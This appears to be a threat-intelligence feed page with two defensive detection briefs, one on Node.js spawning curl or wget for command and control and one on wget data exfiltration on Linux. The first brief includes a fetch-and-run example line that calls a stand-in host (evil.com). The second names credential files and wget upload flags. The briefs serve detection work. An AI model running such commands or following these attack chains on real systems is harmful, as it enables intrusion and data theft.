Wget - CraftedSignal Threat Feed

Node.js Spawning Curl or Wget for Command and Control

hello@craftedsignal.io — Tue, 30 Jan 2024 10:00:00 +0000

This threat brief focuses on the detection of malicious activity where Node.js, a widely used JavaScript runtime environment, is leveraged to execute command-line tools like curl and wget. This activity can occur either directly or indirectly through a shell. Attackers may exploit Node.js applications to download and execute malicious payloads, effectively using the compromised application as a conduit for command and control (C2) operations. This behavior is particularly concerning because it can be masked under the guise of legitimate application activity, making it harder to detect. Defenders should be aware of Node.js processes spawning child processes, specifically curl or wget, and investigate further.

Attack Chain

An attacker gains initial access to a system either via exploiting a vulnerable Node.js application or compromising a server running Node.js.
The attacker leverages the child_process module in Node.js to execute system commands.
The attacker uses child_process.exec, child_process.spawn, or child_process.execFile to call a shell.
Within the shell, the attacker executes curl or wget to download a malicious payload from a remote server. The attacker may use flags such as -sL or --insecure to bypass security measures.
The downloaded payload is saved to a temporary directory like /tmp, /var/tmp, or /dev/shm.
The attacker may then execute the downloaded payload using a shell interpreter (e.g., bash, sh) by piping the output of curl or wget directly into the interpreter (e.g., curl http://evil.com/payload.sh | bash).
The executed payload establishes a reverse shell or performs other malicious activities, such as data exfiltration or lateral movement.
The attacker maintains persistence by creating cron jobs or systemd services that execute the malicious payload periodically.

Impact

Successful exploitation can lead to complete system compromise, data theft, and the establishment of a persistent foothold within the network. This can result in significant financial losses, reputational damage, and disruption of critical business operations. The use of Node.js makes detection difficult because it blends malicious activity with legitimate application behavior. The impact scales with the permissions of the account running the Node.js process.

Recommendation

Implement the provided Sigma rule to detect when Node.js spawns curl or wget processes and tune it for your environment.
Monitor process creation events and network connections originating from Node.js processes to identify suspicious behavior.
Enforce strict egress filtering to prevent Node.js applications from communicating with unauthorized external endpoints.
Regularly audit Node.js application dependencies for known vulnerabilities and ensure timely patching.
Use application sandboxing and privilege separation to limit the impact of potential compromises.
Implement integrity monitoring to detect unauthorized modifications to files and configurations.

Potential Data Exfiltration via Wget on Linux Systems

hello@craftedsignal.io — Tue, 09 Jan 2024 10:00:00 +0000

This detection identifies the abuse of wget on Linux systems to exfiltrate data to external servers. Attackers may collect sensitive files, compress them, and then use wget with options such as --post-file, --post-data, or --body-file to transmit the data via HTTP/HTTPS. This activity, while not inherently malicious, becomes suspicious when combined with access to sensitive files or when observed in non-interactive sessions (e.g., cron jobs). The rule focuses on detecting unusual wget command-line arguments indicative of data exfiltration. This helps defenders identify potentially compromised systems where data is being stolen.

Attack Chain

Initial Access: Attacker gains access to the target Linux system through vulnerabilities, stolen credentials, or other means.
Data Collection: Attacker identifies and collects sensitive files from various locations on the system, such as /etc/passwd, /etc/shadow, user SSH keys (~/.ssh/*), environment files (*.env*), and temporary directories (/tmp/*, /var/tmp/*).
Staging: The collected files are often compressed into an archive (e.g., loot.tar.gz) and placed in a temporary directory, like /tmp.
Command Construction: The attacker crafts a wget command to upload the staged data to a remote server. This command typically includes options like --post-file, --post-data, or --body-file to send the file content via HTTP POST.
Exfiltration: The wget command is executed, sending the staged data to the attacker's command and control (C2) server.
Cleanup (Optional): The attacker may attempt to delete the staged archive and any associated scripts to cover their tracks.
Persistence (Optional): The attacker may schedule the exfiltration process via cron jobs or systemd timers to automate the data theft.

Impact

A successful attack can result in the exfiltration of sensitive data, including credentials, configuration files, source code, and customer data. The severity of the impact depends on the nature of the exfiltrated data. Compromised credentials can lead to further unauthorized access to internal systems. Leaked source code can expose vulnerabilities. Stolen customer data can result in financial losses and reputational damage.

Recommendation

Deploy the Sigma rule "Potential Data Exfiltration Through Wget" to your SIEM to detect suspicious wget commands (see rules section).
Enable process creation logging with command-line arguments on Linux systems to capture the full wget command lines (reference: logsource).
Investigate any alerts generated by the Sigma rule by examining the process tree, user context, and destination endpoint to determine legitimacy.
Implement network monitoring to detect unusual outbound HTTP/HTTPS traffic, especially POST requests to unfamiliar destinations.
Harden Linux systems by restricting the use of wget where it is not necessary and enforcing SELinux/AppArmor policies to limit its capabilities (reference: setup section).
Regularly review and audit cron jobs and systemd timers for suspicious entries that could be used for automated data exfiltration.